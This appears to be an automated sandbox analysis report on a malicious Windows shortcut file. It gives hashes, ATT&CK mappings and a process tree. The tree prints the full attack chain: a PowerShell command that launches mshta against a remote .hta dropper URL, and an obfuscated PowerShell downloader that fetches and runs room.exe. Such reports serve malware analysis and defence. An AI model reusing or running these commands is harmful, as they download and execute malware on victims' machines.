204b7ddb7313918dc965ad5335d350ec2457843a66141011ebec50b8ea0e05af

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
22/05/2024, 05:20

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General

Target

Doc.lnk
Size

1KB
MD5

60f1320faf25bc20101c4312f82a72f8
SHA1

a37a8f932db503eed34cbe9aa1db40f63b36fee1
SHA256

bb26c65d29da78c698c19344058832b21593d27f4d89b5118345bb76614a564a
SHA512

96652e9e0a96545449a260c19d920eb3f1debc879e76f5a594848a28ef165b733ca61fcc75636781289e30cc7e87aae11028ff159a1bdc93a274dbed99f03d07

Score

10^/10

execution

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://foundationforwomenshealth.com/rooming.hta

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
8	3724	mshta.exe
10	3724	mshta.exe
20	668	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
4776	room.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
668	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4776 set thread context of 3452	4776	room.exe	56
PID 4776 set thread context of 2768	4776	room.exe	102
PID 2768 set thread context of 3452	2768	netbtugc.exe	56
PID 2768 set thread context of 2832	2768	netbtugc.exe	112

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\Registry\User\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	netbtugc.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5076	powershell.exe
5076	powershell.exe
668	powershell.exe
668	powershell.exe
4776	room.exe
4776	room.exe
4776	room.exe
4776	room.exe
4776	room.exe
4776	room.exe
4776	room.exe
4776	room.exe
4776	room.exe
4776	room.exe
4776	room.exe
4776	room.exe
4776	room.exe
4776	room.exe
4776	room.exe
4776	room.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
4776	room.exe
3452	Explorer.EXE
3452	Explorer.EXE
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe
2768	netbtugc.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5076	powershell.exe
Token: SeDebugPrivilege	668	powershell.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3452	Explorer.EXE

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 244 wrote to memory of 5076	244	cmd.exe	85
PID 244 wrote to memory of 5076	244	cmd.exe	85
PID 5076 wrote to memory of 3724	5076	powershell.exe	86
PID 5076 wrote to memory of 3724	5076	powershell.exe	86
PID 3724 wrote to memory of 668	3724	mshta.exe	90
PID 3724 wrote to memory of 668	3724	mshta.exe	90
PID 668 wrote to memory of 4776	668	powershell.exe	92
PID 668 wrote to memory of 4776	668	powershell.exe	92
PID 668 wrote to memory of 4776	668	powershell.exe	92
PID 3452 wrote to memory of 2768	3452	Explorer.EXE	102
PID 3452 wrote to memory of 2768	3452	Explorer.EXE	102
PID 3452 wrote to memory of 2768	3452	Explorer.EXE	102
PID 2768 wrote to memory of 2832	2768	netbtugc.exe	112
PID 2768 wrote to memory of 2832	2768	netbtugc.exe	112

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3452
- C:\Windows\system32\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\Doc.lnk
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'https://foundationforwomenshealth.com/rooming.hta'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5076
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://foundationforwomenshealth.com/rooming.hta
      4⤵
      Blocklisted process makes network request
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:3724
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function iuJPxTQS($IJCvcIeo, $gpgwsiJSczSj){[IO.File]::WriteAllBytes($IJCvcIeo, $gpgwsiJSczSj)};function EjoMCmvmrPhMtwTL($IJCvcIeo){if($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47846,47854,47854))) -eq $True){rundll32.exe $IJCvcIeo }elseif($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47858,47861,47795))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $IJCvcIeo}elseif($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47855,47861,47851))) -eq $True){misexec /qn /i $IJCvcIeo}else{Start-Process $IJCvcIeo}};function nyAhNYUptqM($swQIUCvOyYd){$GQRylVCycvBAcjMMivqF = New-Object (uytCRFyTKEJzlr @(47824,47847,47862,47792,47833,47847,47844,47813,47854,47851,47847,47856,47862));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$gpgwsiJSczSj = $GQRylVCycvBAcjMMivqF.DownloadData($swQIUCvOyYd);return $gpgwsiJSczSj};function uytCRFyTKEJzlr($FCpZJhLpBNlnS){$KskPPnz=47746;$nuNRqvoYIqNT=$Null;foreach($HSXDbspEKMwPJOh in $FCpZJhLpBNlnS){$nuNRqvoYIqNT+=[char]($HSXDbspEKMwPJOh-$KskPPnz)};return $nuNRqvoYIqNT};function RrbwTHrSKoXiNsmhK(){$ASgAmoIXZipayyHcO = $env:AppData + '\';$qBzHfpVo = $ASgAmoIXZipayyHcO + 'room.exe'; if (Test-Path -Path $qBzHfpVo){EjoMCmvmrPhMtwTL $qBzHfpVo;}Else{ $LhrXdLIM = nyAhNYUptqM (uytCRFyTKEJzlr @(47850,47862,47862,47858,47861,47804,47793,47793,47848,47857,47863,47856,47846,47843,47862,47851,47857,47856,47848,47857,47860,47865,47857,47855,47847,47856,47861,47850,47847,47843,47854,47862,47850,47792,47845,47857,47855,47793,47860,47857,47857,47855,47792,47847,47866,47847));iuJPxTQS $qBzHfpVo $LhrXdLIM;EjoMCmvmrPhMtwTL $qBzHfpVo;};;;;}RrbwTHrSKoXiNsmhK;
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:668
      - C:\Users\Admin\AppData\Roaming\room.exe
        
        "C:\Users\Admin\AppData\Roaming\room.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:4776
- C:\Windows\SysWOW64\netbtugc.exe
  "C:\Windows\SysWOW64\netbtugc.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies Internet Explorer settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2768
- - C:\Program Files\Mozilla Firefox\Firefox.exe
    "C:\Program Files\Mozilla Firefox\Firefox.exe"
    3⤵
    PID:2832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uauywm0h.smr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\room.exe

Filesize
264KB

MD5
1dcce19e1a6306424d073487af821ff0

SHA1
9de500775811f65415266689cbdfd035e167f148

SHA256
77e14caae3daf05c1f5a6a3d10e4936cc58944d6ae9ec6943b1be6d995e94b5c

SHA512
4528efd164bff904830fde7efb04d5cf3999ef4fa0b8c3d4ad0407d7cd75f03085107c8ae5651e015f62e414a59979fd264e94257c52f60540d5969fd4ca144a

Download Submit
memory/2768-44-0x0000000000CE0000-0x0000000000D1F000-memory.dmp

Filesize
252KB

Download
memory/2768-45-0x0000000000CE0000-0x0000000000D1F000-memory.dmp

Filesize
252KB

Download
memory/2832-53-0x0000026859DE0000-0x0000026859EDC000-memory.dmp

Filesize
1008KB

Download
memory/3452-46-0x00000000028E0000-0x0000000002991000-memory.dmp

Filesize
708KB

Download
memory/5076-17-0x00007FFBAB7C0000-0x00007FFBAC281000-memory.dmp

Filesize
10.8MB

Download
memory/5076-14-0x00007FFBAB7C0000-0x00007FFBAC281000-memory.dmp

Filesize
10.8MB

Download
memory/5076-13-0x00007FFBAB7C0000-0x00007FFBAC281000-memory.dmp

Filesize
10.8MB

Download
memory/5076-12-0x000001C27AAF0000-0x000001C27AB12000-memory.dmp

Filesize
136KB

Download
memory/5076-2-0x00007FFBAB7C3000-0x00007FFBAB7C5000-memory.dmp

Filesize
8KB

Download